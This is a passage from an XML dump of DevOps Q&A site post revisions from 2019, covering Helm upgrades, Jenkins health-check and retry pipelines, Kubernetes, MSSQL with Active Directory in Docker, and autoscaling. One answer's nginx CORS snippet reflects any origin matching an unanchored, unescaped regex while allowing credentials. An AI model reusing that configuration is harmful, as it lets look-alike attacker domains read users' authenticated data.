  <row Id="26251" PostHistoryTypeId="3" PostId="8945" RevisionGUID="d5782abc-b011-4af3-997b-f7ea88756735" CreationDate="2019-08-21T05:05:10.433" UserId="16679" Text="&lt;jenkins&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26255" PostHistoryTypeId="5" PostId="6518" RevisionGUID="85b8e574-e239-4f92-9e9b-74548b056e3b" CreationDate="2019-08-21T07:45:49.270" UserId="10599" Comment="clarity" Text="Yes this happens frequently when debugging helm releases. The problem happens when a previously failed release is preventing you from updating it. &#xD;&#xA;&#xD;&#xA;If you run `helm ls` you should see a release in state `FAILED`. Such a release cannot be upgraded using the normal approach of having helm compare the new yaml to the old yaml to detect what objects to change as it is a failed release.&#xD;&#xA;&#xD;&#xA;As this normally happens when trying to get something new running I typically `helm delete —purge` the failed release. That is slightly drastic though so you may want to try to do the upgrade adding `—force` &#xD;&#xA;&#xD;&#xA;https://github.com/helm/helm/pull/2280&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26256" PostHistoryTypeId="2" PostId="8947" RevisionGUID="d5ec2190-6f04-4bf4-8016-ca94457e2a8b" CreationDate="2019-08-21T12:28:45.103" UserId="16316" Text="CORS is not allowing subdomains, so you need to specify them in your server configuration.&#xD;&#xA;&#xD;&#xA;If you are using NGINX (or you could use it as a proxy and solve your problem) by providing dynamic cors header response&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;&#xD;&#xA;    root /path/to/your/stuff;&#xD;&#xA;&#xD;&#xA;    index index.html index.htm;&#xD;&#xA;&#xD;&#xA;     set $cors &quot;&quot;;&#xD;&#xA;&#xD;&#xA;    if ($http_origin ~* (.*\.yoursweetdomain.com)) {&#xD;&#xA;        set $cors &quot;true&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    server_name yoursweetdomain.com;&#xD;&#xA;&#xD;&#xA;    location / {&#xD;&#xA;&#xD;&#xA;        if ($cors = &quot;true&quot;) {&#xD;&#xA;            add_header 'Access-Control-Allow-Origin' &quot;$http_origin&quot;;&#xD;&#xA;            add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS, DELETE, PUT';&#xD;&#xA;            add_header 'Access-Control-Allow-Credentials' 'true';&#xD;&#xA;            add_header 'Access-Control-Allow-Headers' 'User-Agent,Keep-Alive,Content-Type';&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        if ($request_method = OPTIONS) {&#xD;&#xA;            return 204;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;``` &#xD;&#xA;&#xD;&#xA;[Source here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rustyrazorblade.com/post/2013/2013-10-31-cors-with-wildcard-domains-and-nginx/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26257" PostHistoryTypeId="2" PostId="8948" RevisionGUID="4f93c100-de74-4ea0-8a1a-c24e209a11ff" CreationDate="2019-08-21T13:16:26.913" UserId="16683" Text="It's possible and pretty simple to do this with Jenkins. Here is an example (using `Job DSL Plugin`):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;job('Health checker')&#xD;&#xA;    triggers {&#xD;&#xA;        cron(&quot;*/10 * * * *&quot;)&#xD;&#xA;    }&#xD;&#xA;    steps {&#xD;&#xA;        shell(&quot;curl https://mywebsite.com&quot;)&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(How to use `Job DSL Plugin`? Here you go https://marcesher.com/2016/06/09/jenkins-as-code-job-dsl/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="26258" PostHistoryTypeId="2" PostId="8949" RevisionGUID="a7873c74-8c45-4470-b2bd-ec8e78e20b94" CreationDate="2019-08-21T13:49:19.840" UserId="16684" Text="As a practice its a good way to have A pod with these 2 containers :&#xD;&#xA;&#xD;&#xA; 1. php-fpm&#xD;&#xA; 2. nginx&#xD;&#xA; &#xD;&#xA;and you have image of your project called testimage.&#xD;&#xA;the solution is use the 'testimage' as initContainer and then copy the all folders and files of the testimage into a shared volume called volume1&#xD;&#xA;&#xD;&#xA;than mount this volume into nginx and php-fpm containers with kubernetes volume mount.&#xD;&#xA;&#xD;&#xA;but the problem is when the size of testimage goes beyond 1gb (for example a magento2 project with full pre builed static data and compiled code)&#xD;&#xA;its a long time for copy those files and its like bad practice.&#xD;&#xA;&#xD;&#xA;maybe I should put the project files into the php-fpm container (first container) ... but for nginx using it again i have to copy paste data into a kubernetes volume and then mount it to nginx&#xD;&#xA;&#xD;&#xA;the end solution is putting all app codes + fpm + nginx  into a single container than this makes a huge image with all of these tree also there is no per container resource management and etc available with this solution&#xD;&#xA;any body has any suggestion ? " ContentLicense="CC BY-SA 4.0" />
  <row Id="26259" PostHistoryTypeId="1" PostId="8949" RevisionGUID="a7873c74-8c45-4470-b2bd-ec8e78e20b94" CreationDate="2019-08-21T13:49:19.840" UserId="16684" Text="initContainer with huge size software like magento2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26260" PostHistoryTypeId="3" PostId="8949" RevisionGUID="a7873c74-8c45-4470-b2bd-ec8e78e20b94" CreationDate="2019-08-21T13:49:19.840" UserId="16684" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26264" PostHistoryTypeId="2" PostId="8951" RevisionGUID="11b54890-e316-4990-800d-bdc6f2583b85" CreationDate="2019-08-21T18:28:44.777" UserId="2494" Text="I am attempting to use Active Directory authentication with SQL Server on Linux running inside the official MSFT Docker container for MSSQL (https://hub.docker.com/_/microsoft-mssql-server)&#xD;&#xA;&#xD;&#xA;I am in the midst of working through this tutorial, but I heard from a coworker that it wouldn't work in a container. He did not say why. He did say which particular step he was doubtful about ('Join SQL Server host to AD domain')&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/sql/linux/sql-server-linux-active-directory-authentication?view=sql-server-2017&#xD;&#xA;&#xD;&#xA;Is there any reason why I can't complete the 'Join SQL Server host to AD domain' step if I'm using containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26265" PostHistoryTypeId="1" PostId="8951" RevisionGUID="11b54890-e316-4990-800d-bdc6f2583b85" CreationDate="2019-08-21T18:28:44.777" UserId="2494" Text="MSSQL and AD in a Docker Container" ContentLicense="CC BY-SA 4.0" />
  <row Id="26266" PostHistoryTypeId="3" PostId="8951" RevisionGUID="11b54890-e316-4990-800d-bdc6f2583b85" CreationDate="2019-08-21T18:28:44.777" UserId="2494" Text="&lt;docker&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26267" PostHistoryTypeId="2" PostId="8952" RevisionGUID="09fccc2e-f848-4b4e-baab-ca0c9de44c4f" CreationDate="2019-08-21T19:37:46.253" UserId="6686" Text="I was wondering how information on deployed applications are kept in real, production environments (yeah, I am a novice) . For example, in a microservices based set up, if  5 microservices-based  applications were deployed in production environments. Let's say each of those had 4 - 6 instances each, are there special software for keeping record of these applications? I know the records can be easily written into a database but I can imagine some better solutions out there. " ContentLicense="CC BY-SA 4.0" />
  <row Id="26268" PostHistoryTypeId="1" PostId="8952" RevisionGUID="09fccc2e-f848-4b4e-baab-ca0c9de44c4f" CreationDate="2019-08-21T19:37:46.253" UserId="6686" Text="Microservices Deployment Manager" ContentLicense="CC BY-SA 4.0" />
  <row Id="26269" PostHistoryTypeId="3" PostId="8952" RevisionGUID="09fccc2e-f848-4b4e-baab-ca0c9de44c4f" CreationDate="2019-08-21T19:37:46.253" UserId="6686" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26270" PostHistoryTypeId="2" PostId="8953" RevisionGUID="10d41b57-36f0-46df-ae12-18f14a532dcf" CreationDate="2019-08-21T21:53:24.017" UserId="210" Text="According to [the Cloud Native Landscape][1], you are looking for a `Coordination &amp; Service Discovery`:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;https://etcd.io/&#xD;&#xA;&#xD;&#xA;&gt; A distributed, reliable key-value store for the most critical data of&#xD;&#xA;&gt; a distributed system&#xD;&#xA;&#xD;&#xA;https://github.com/Netflix/eureka&#xD;&#xA;&#xD;&#xA;&gt; Eureka is a REST (Representational State Transfer) based service that&#xD;&#xA;&gt; is primarily used in the AWS cloud for locating services for the&#xD;&#xA;&gt; purpose of load balancing and failover of middle-tier servers.&#xD;&#xA;&#xD;&#xA;https://github.com/alibaba/nacos&#xD;&#xA;&#xD;&#xA;&gt; Nacos (official site: http://nacos.io) is an easy-to-use platform&#xD;&#xA;&gt; designed for dynamic service discovery and configuration and service&#xD;&#xA;&gt; management. It helps you to build cloud native applications and&#xD;&#xA;&gt; microservices platform easily.&#xD;&#xA;&#xD;&#xA;  [1]: https://landscape.cncf.io/images/landscape.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/KPSba.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="26271" PostHistoryTypeId="2" PostId="8954" RevisionGUID="58365f4d-0be5-4d34-b54d-c90839c4588b" CreationDate="2019-08-21T22:06:05.537" UserId="16693" Text="I have a specific implementation of jenkins on docker. &#xD;&#xA;&#xD;&#xA;My requirement is to start slave containers on demand and only when they are needed and then stop them after the pipeline has ran.&#xD;&#xA;&#xD;&#xA;I have the jenkins master instantiated as a container, then using the docker socket i am able to run my pipeline in another 1 or more containers i have specifically built for that purpose(following the implementation descrined here https://jenkins.io/doc/book/pipeline/docker/).&#xD;&#xA;&#xD;&#xA;The above mentioned implementation is implemented on one EC2 machine acting as a docker host.&#xD;&#xA;&#xD;&#xA;However, that implementation has the flaw that is not highly available and i am only able to use the resourses availalble on on server.&#xD;&#xA;&#xD;&#xA;How can i implement this on a swarm cluster where i still have just one master jenkins contianer starting slave containers from the pipeline on a clustered swarm cluster?&#xD;&#xA;&#xD;&#xA;I cannot seem to find something simiral after extensive searching but i am sure it is in some way possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="26272" PostHistoryTypeId="1" PostId="8954" RevisionGUID="58365f4d-0be5-4d34-b54d-c90839c4588b" CreationDate="2019-08-21T22:06:05.537" UserId="16693" Text="Jenkins pipeline running using containers on an orchestration platform" ContentLicense="CC BY-SA 4.0" />
  <row Id="26273" PostHistoryTypeId="3" PostId="8954" RevisionGUID="58365f4d-0be5-4d34-b54d-c90839c4588b" CreationDate="2019-08-21T22:06:05.537" UserId="16693" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26274" PostHistoryTypeId="5" PostId="8954" RevisionGUID="ebae5840-bd89-41b7-a975-6e559a166d82" CreationDate="2019-08-21T22:17:47.283" UserId="16693" Comment="adding code URLs" Text="I have a specific implementation of jenkins on docker. &#xD;&#xA;&#xD;&#xA;My requirement is to start slave containers on demand and only when they are needed and then stop them after the pipeline has ran.&#xD;&#xA;&#xD;&#xA;I have the jenkins master instantiated as a container, then using the docker socket i am able to run my pipeline in another 1 or more containers i have specifically built for that purpose(following the implementation descrined here https://jenkins.io/doc/book/pipeline/docker/).&#xD;&#xA;&#xD;&#xA;master container - https://github.com/YiannisH/containerised-jenkins/blob/master/docker/master/Dockerfile&#xD;&#xA;&#xD;&#xA;slave container - https://github.com/YiannisH/containerised-jenkins/blob/master/docker/slave/Dockerfile&#xD;&#xA;&#xD;&#xA;The above mentioned implementation is implemented on one EC2 machine acting as a docker host.&#xD;&#xA;&#xD;&#xA;However, that implementation has the flaw that is not highly available and i am only able to use the resourses availalble on on server.&#xD;&#xA;&#xD;&#xA;How can i implement this on a swarm cluster where i still have just one master jenkins contianer starting slave containers from the pipeline on a clustered swarm cluster?&#xD;&#xA;&#xD;&#xA;I cannot seem to find something simiral after extensive searching but i am sure it is in some way possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="26275" PostHistoryTypeId="2" PostId="8955" RevisionGUID="d3b722fe-31e8-4eeb-8459-5c41032d04b2" CreationDate="2019-08-21T22:17:59.683" UserId="210" Text="I personally prefer Jenkins over CloudBees as we have enough Jenkins knowledge in our engineering department. However, if their is a lack of such knowledge or interest then it could be useful to use a Software as a Service (SaaS) product like CloudBees. In general, this means that the department will be unburden as the platform will scale automatically and the SaaS provider is responsible for keeping Jenkins up and running.&#xD;&#xA;&#xD;&#xA;A downside of an Enterprise solution is that a fee is required. However, maintenance and in particular the number of resources that is required to apply it, is often underestimated in my opinion. Maintaining Jenkins by Engineers from the department means that they have less time to develop code. At the moment, getting a CloudBees subscription will not solve our problems as we are currently busy splitting the monolith. &#xD;&#xA;&#xD;&#xA;Whether you should get a CloudBees membership really depends on your situation. Do you have a monolith? Has all code been untangled. Do you have microservices with clear boundaries or are they nanoservices? Long story short, do you have a robust architecture? If false, then CloudBees will also not be the holy grail.&#xD;&#xA;&#xD;&#xA;While Googling, [another post on stackoverflow was found that could be useful][1]:&#xD;&#xA;&#xD;&#xA;&gt; The first difference is support (as others have mentioned). CloudBees&#xD;&#xA;&gt; offers enterprise grade support as well as a fully vetted and tested&#xD;&#xA;&gt; version of Jenkins that will be more stable under various plugins and&#xD;&#xA;&gt; deployments. You can actually purchase &quot;Support Only&quot; from CloudBees&#xD;&#xA;&gt; if you are satisfied with your OSS Jenkins deployment and simply want&#xD;&#xA;&gt; support during upgrades, patching, break/fix, etc.&#xD;&#xA;&gt; &#xD;&#xA;&gt; From a feature perspective, CloudBees brings a lot from an enterprise&#xD;&#xA;&gt; manageability, scalability, and security standpoint.&#xD;&#xA;&gt; &#xD;&#xA;&gt;  * Manageability: CloudBees comes with CJOC (CloudBees Jenkins Operations Center) built into the software. This is a single pane of&#xD;&#xA;&gt; glass management console that allows organizations or large teams to&#xD;&#xA;&gt; centrally manage the jenkins environment. Things like folders, RBAC,&#xD;&#xA;&gt; pipeline and master templates, and the ability to rapidly spin up/tear&#xD;&#xA;&gt; down a containerized jenkins master are all managed from this single&#xD;&#xA;&gt; console.&#xD;&#xA;&gt; &#xD;&#xA;&gt;  * Scaleability: CloudBees leverages Kubernetes to provide organizations with the ability to elastically scale Jenkins&#xD;&#xA;&gt; environments as needed. With CloudBees, your oganization can move away&#xD;&#xA;&gt; from a single &quot;Monolithic&quot;/&quot;Frankenstein&quot; master and into a&#xD;&#xA;&gt; multi-master and distributed pipeline architecture. This greatly&#xD;&#xA;&gt; reduces upgrade and administration complexity. This also eliminates&#xD;&#xA;&gt; the risk from a single point of failure that a monolithic architecture&#xD;&#xA;&gt; exposes.&#xD;&#xA;&gt; &#xD;&#xA;&gt;  * Security: CloudBees allows organizations to install Roll Based Access Control within Jenkins. This keeps users from accidentally or&#xD;&#xA;&gt; intentionally accessing repos that they shouldn't be allowed to&#xD;&#xA;&gt; interact with. CloudBees also provides &quot;folders&quot; to segregate specific&#xD;&#xA;&gt; job executions onto specific agents. Lastly CloudBees allows&#xD;&#xA;&gt; organizations to create pipeline templates and associated plugins for&#xD;&#xA;&gt; each team. These templates can be as rigid or loose as desired per the&#xD;&#xA;&gt; organizations security policies.&#xD;&#xA;&gt; &#xD;&#xA;&gt; CloudBees is regularly adding enhancements to further differentiate&#xD;&#xA;&gt; themselves from Jenkins Open Source and make themselves more appealing&#xD;&#xA;&gt; to large enterprise requirements.&#xD;&#xA;&gt; &#xD;&#xA;&gt; On top of the above, CloudBees has developed a presentation layer that&#xD;&#xA;&gt; rides on top of Jenkins for SDLC pipeline, CD monitoring, and metric&#xD;&#xA;&gt; tracking called DevOptics.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/52527151/2777965" ContentLicense="CC BY-SA 4.0" />
  <row Id="26276" PostHistoryTypeId="2" PostId="8956" RevisionGUID="1db295db-41ec-4f81-b35a-07ef1fe7cd0b" CreationDate="2019-08-22T00:25:23.157" UserId="5237" Text="My build parameters are defined in my jenkinsfiles&#xD;&#xA;&#xD;&#xA;All builds run on container slaves on google kubernetes engine cluster&#xD;&#xA;&#xD;&#xA;This means users need to wait for a container to start before anything happens, including just updating the &quot;Build with parameters&quot; choices.&#xD;&#xA;&#xD;&#xA;Can I set parameters outside of the pipeline directive so it doesnt need to start a container to update the parameters?&#xD;&#xA;&#xD;&#xA;or even better maybe there is a way to have Jenkins run functions in my jenkinsfile to get the updated parameters when it scans branches?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26277" PostHistoryTypeId="1" PostId="8956" RevisionGUID="1db295db-41ec-4f81-b35a-07ef1fe7cd0b" CreationDate="2019-08-22T00:25:23.157" UserId="5237" Text="Is there a way to set build parameters outside of the pipeline directive?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26278" PostHistoryTypeId="3" PostId="8956" RevisionGUID="1db295db-41ec-4f81-b35a-07ef1fe7cd0b" CreationDate="2019-08-22T00:25:23.157" UserId="5237" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26279" PostHistoryTypeId="2" PostId="8957" RevisionGUID="0c817d3d-cea8-444b-8d94-e9aa9c0c53df" CreationDate="2019-08-22T01:31:09.487" UserId="16695" Text="Are you sure the parameter input is waiting for slave containers?&#xD;&#xA;or do you use some special choice plugins for build parameter?&#xD;&#xA;&#xD;&#xA;I think a job is even not starting until a user fills out the parameters and hit the build button in Jenkins UI - so no container required until then.&#xD;&#xA;We had same k8s slaves, but never had that issue.&#xD;&#xA;&#xD;&#xA;(But some parameter plugins might need some pre process..)" ContentLicense="CC BY-SA 4.0" />
  <row Id="26280" PostHistoryTypeId="5" PostId="8957" RevisionGUID="e1e73825-30f4-4643-94ca-3fc3709bfcb4" CreationDate="2019-08-22T01:54:32.993" UserId="16695" Comment="format" Text="EDIT:&#xD;&#xA;It might have a chance for me to misread your question at the first time, so let me add another one. &#xD;&#xA;&#xD;&#xA;If you meant by Jenkinsfile as you have a manual parameter input in Jenkinsfile for Multibranch or Github Org pipeline, then probably bad idea.&#xD;&#xA;&#xD;&#xA;Those kind of jobs should run with predefined parameters or take them on-the-fly like manipulating some environment variables without user input.&#xD;&#xA;&#xD;&#xA;You can simply make another pipeline job for manual trigger if the predefined parameters can't cover all the case you need.&#xD;&#xA;&#xD;&#xA;And for run function, it looks like `build job` is what you are looking for.&#xD;&#xA;&#xD;&#xA;https://jenkins.io/doc/pipeline/steps/pipeline-build-step/#-build-%20build%20a%20job&#xD;&#xA;&#xD;&#xA;    build job: 'Another job in same Jenkins server', parameters: [string(name: 'param1', value: ${new_value})]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;--------------------------------------&#xD;&#xA;--------------------------------------&#xD;&#xA;Are you sure the parameter input is waiting for slave containers?&#xD;&#xA;or do you use some special choice plugins for build parameter?&#xD;&#xA;&#xD;&#xA;I think a job is even not starting until a user fills out the parameters and hit the build button in Jenkins UI - so no container required until then.&#xD;&#xA;We had same k8s slaves, but never had that issue.&#xD;&#xA;&#xD;&#xA;(But some parameter plugins might need some pre process..)" ContentLicense="CC BY-SA 4.0" />
  <row Id="26283" PostHistoryTypeId="5" PostId="8818" RevisionGUID="a6f67420-3a0f-45a6-8353-6617a356cb27" CreationDate="2019-08-22T05:09:48.963" UserId="40" Comment="added 2 characters in body" Text="Terraform destroys and creates new AWS resources when I modify the modules with new resources. &#xD;&#xA;&#xD;&#xA;I tried with:&#xD;&#xA;&#xD;&#xA;    lifecycle {&#xD;&#xA;      prevent_destroy = true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Getting the below error :&#xD;&#xA;&#xD;&#xA;    the plan would destroy this resource, but it currently has&#xD;&#xA;    lifecycle.prevent_destroy set to true. To avoid this error and continue with the&#xD;&#xA;    plan, either disable lifecycle.prevent_destroy or adjust the scope of the &#xD;&#xA;    plan using the -target flag.&#xD;&#xA;&#xD;&#xA;Is there any method to update terraform without launching new resources?&#xD;&#xA;&#xD;&#xA;Note: when 'terraform plan' is run, shows &quot;(forces new resource)&quot; for Instance id and ebs_block device" ContentLicense="CC BY-SA 4.0" />
  <row Id="26284" PostHistoryTypeId="5" PostId="8948" RevisionGUID="77d10668-883d-496a-9341-beb9769939ad" CreationDate="2019-08-22T06:13:17.960" UserId="16683" Comment="added 92 characters in body" Text="It's possible and pretty simple to do this with Jenkins. Here is an example (using `Job DSL Plugin`):&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;job('Health checker')&#xD;&#xA;    triggers {&#xD;&#xA;        cron(&quot;*/10 * * * *&quot;)&#xD;&#xA;    }&#xD;&#xA;    steps {&#xD;&#xA;        shell(&quot;curl https://mywebsite.com&quot;)&#xD;&#xA;    }&#xD;&#xA;    postFailedBuildPublishers {&#xD;&#xA;        mailer(&quot;me@example.com&quot;, true, true)&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(How to use `Job DSL Plugin`? Here you go https://marcesher.com/2016/06/09/jenkins-as-code-job-dsl/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="26285" PostHistoryTypeId="5" PostId="8948" RevisionGUID="a79057ac-92fd-48dc-a185-249ff478d974" CreationDate="2019-08-22T06:24:28.470" UserId="16683" Comment="added 92 characters in body" Text="It's possible and pretty simple to do this with Jenkins. Here is a sample pipeline :&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;&#xD;&#xA;    triggers {&#xD;&#xA;        cron('*/5 * * * *')&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage('Health checker') {&#xD;&#xA;            steps {&#xD;&#xA;                sh 'curl https://mywebsite.com'&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            post {&#xD;&#xA;                failure {&#xD;&#xA;                    mail to: 'notify-list@example.com',&#xD;&#xA;                        from: 'jenkins@example.com',&#xD;&#xA;                        subject: &quot;${env.JOB_NAME} - Failed&quot;,&#xD;&#xA;                        body: &quot;Job Failed&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="26286" PostHistoryTypeId="2" PostId="8958" RevisionGUID="05d829c7-3384-4199-b5e8-9c080a067ad7" CreationDate="2019-08-22T07:06:56.037" UserId="16699" Text="We have got test automation in Jenkins.&#xD;&#xA;We would like to execute it at midnight.&#xD;&#xA;But sometimes it fails, sometimes it passes.&#xD;&#xA;Our idea is to execute the daily builds from 1:00 AM until it is green.&#xD;&#xA;How we can execute a Job until it is green.&#xD;&#xA;For example&#xD;&#xA;Execute Job in 1:00&#xD;&#xA;Execute Job in 2:00 if previous green etc.&#xD;&#xA;We can run it @hourly, but how it is possible to insert the condition&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26287" PostHistoryTypeId="1" PostId="8958" RevisionGUID="05d829c7-3384-4199-b5e8-9c080a067ad7" CreationDate="2019-08-22T07:06:56.037" UserId="16699" Text="How to execute Jenkins job until build is green" ContentLicense="CC BY-SA 4.0" />
  <row Id="26288" PostHistoryTypeId="3" PostId="8958" RevisionGUID="05d829c7-3384-4199-b5e8-9c080a067ad7" CreationDate="2019-08-22T07:06:56.037" UserId="16699" Text="&lt;jenkins&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26289" PostHistoryTypeId="2" PostId="8959" RevisionGUID="e50dcb47-1561-4217-82a3-06fc1bfba5a3" CreationDate="2019-08-22T08:09:52.393" UserId="8251" Text="First of all, Number of connections is not a common metric to use for autoscaling, much more common is CPU utilization or possibly amount of network traffic.&#xD;&#xA;&#xD;&#xA;If you are happy with the performance of your application at a certain utilization level, you can modify the corresponding alarms configured in the auto-scaling group, so that autoscaling happens only at higher levels of your metric.&#xD;&#xA;&#xD;&#xA;Secondly, you can limit auto-scaling to a certain number of instances, when this number is reached, no further scaling will occur.&#xD;&#xA;&#xD;&#xA;Finally, if your traffic has a significant proportion of GET requests, it may be easiest to ensure caching headers are set appropriately and traffic is route through a cloudfront distribution before it reaches the load balancer. This will likely eliminate most of the GET requests from the load balancer altogether." ContentLicense="CC BY-SA 4.0" />
  <row Id="26290" PostHistoryTypeId="2" PostId="8960" RevisionGUID="5035f0c7-852a-477a-9421-01fbb2127af7" CreationDate="2019-08-22T08:30:21.703" UserId="16683" Text="This pipeline will run each day at 1 AM. It'll restart if the build fails.&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;&#xD;&#xA;    triggers {&#xD;&#xA;        cron('0 1 * * *')&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage ('Build') {&#xD;&#xA;            when {&#xD;&#xA;                expression {&#xD;&#xA;                    // When last build has failed&#xD;&#xA;                    !hudson.model.Result.SUCCESS.equals(currentBuild.rawBuild.getPreviousBuild()?.getResult()) == true&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            steps {&#xD;&#xA;                sh &quot;./myjob.sh&quot;&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            post {&#xD;&#xA;                failure {&#xD;&#xA;                    // If the current job has failed, trigger it without&#xD;&#xA;                    // waiting.&#xD;&#xA;                    build job: &quot;${JOB_NAME}&quot;, wait: false&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you want to wait before to re-trigger the job, you can add the option `quietPeriod: (seconds)` to the `build` step (https://jenkins.io/doc/pipeline/steps/pipeline-build-step/).&#xD;&#xA;&#xD;&#xA;You might have to add these methods to the scriptApproval :&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Wi1Ke.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="26291" PostHistoryTypeId="2" PostId="8961" RevisionGUID="04cb5134-8d9e-4647-8208-5ff70fe4b98d" CreationDate="2019-08-22T10:36:42.960" UserId="16316" Text="As per the attached document, I see no issue with executing this task.&#xD;&#xA;The one thing that you need to do update your container with a configuration that is needed to reach AD server.&#xD;&#xA;&#xD;&#xA;That means those changes can be done in live SQL server container and committed or add to a Dockerfile and build.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26292" PostHistoryTypeId="2" PostId="8962" RevisionGUID="bb520848-8743-445f-af93-7fb260244de8" CreationDate="2019-08-22T11:26:43.610" UserId="15792" Text="You absolutely can do this.  However, you will need to make sure that the following is happening:&#xD;&#xA;&#xD;&#xA; - Setup the Docker host on the MSSQL computer in such a way that it can reach the AD server.  Using a [bridge network][1] may help (especially if you are using Docker for Windows).  If using Docker Toolkit you may need to look into a solution like [port forwarding][2].&#xD;&#xA; - [Commit][3] your configuration changes to a new Docker image.  This will allow you to move the MSSQL container to a new computer or even run it with Kubernetes/Orchestration tooling.&#xD;&#xA; - Map your MSSQL container to a [Volume][4] for persistence.  Otherwise the data in the container will be eliminated between container restarts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/network/bridge/&#xD;&#xA;  [2]: http://woshub.com/port-forwarding-in-windows/&#xD;&#xA;  [3]: https://docs.docker.com/engine/reference/commandline/commit/&#xD;&#xA;  [4]: https://docs.docker.com/storage/volumes/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26293" PostHistoryTypeId="2" PostId="8963" RevisionGUID="a9d81a68-dc5f-44d2-88ff-38ad249b0a86" CreationDate="2019-08-22T11:55:08.943" UserId="3583" Text="There's a good article about enabling auto-deployment everytime an image is pushed to ECR here: https://medium.com/@YadavPrakshi/automate-zero-downtime-deployment-with-amazon-ecs-and-lambda-c4e49953273d &#xD;&#xA;&#xD;&#xA;Check the following part out: &#xD;&#xA;&#xD;&#xA;# Automate Deployment whenever Docker Image gets uploaded on ECR&#xD;&#xA;EC2 Container does not write logs directly to CloudWatch but CloudTrail records API activity for ECS. The flow of automation will be like this: Whenever a Upload occurs to ECR, CloudTrail records PutImage event and can write it to CloudWatch Logs. An Alarm can be triggered whenever a PutImage event is written in CloudWatch Logs which can further trigger a Lambda Function through SNS. Lambda Function Contains the code to Create Task Definition Revision and Update Service with latest Task Definition." ContentLicense="CC BY-SA 4.0" />
  <row Id="26294" PostHistoryTypeId="2" PostId="8964" RevisionGUID="abd7b603-aa3e-4a73-9485-46e5a3ddabaf" CreationDate="2019-08-22T12:24:18.850" UserId="15792" Text="**How do I send a structured message?**&#xD;&#xA;&#xD;&#xA;If you want structured messages check out some of the recommended [third party logging options][1].  Some of these options have built-in support for Elasticsearch logging.  For instance, [Serilog][2] provides a [&quot;sink&quot;][3] for putting logs directly into Elasticsearch.&#xD;&#xA;&#xD;&#xA;**How do I configure it in code?**&#xD;&#xA;&#xD;&#xA;These options all tie into the ILogger interface, so testing different logging frameworks should require very little code changes.  However, the initial entry point of the application (e.g. Program.cs) will need to be configured to use the 3rd party logger.  The official .net core docs go over this in detail.&#xD;&#xA;&#xD;&#xA;**How do I configure it for Elasticsearch?**&#xD;&#xA;&#xD;&#xA;This will depend on the logger.  The appsettings.json will most likely be where you configure the .net core application's connection to Elasticsearch.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: 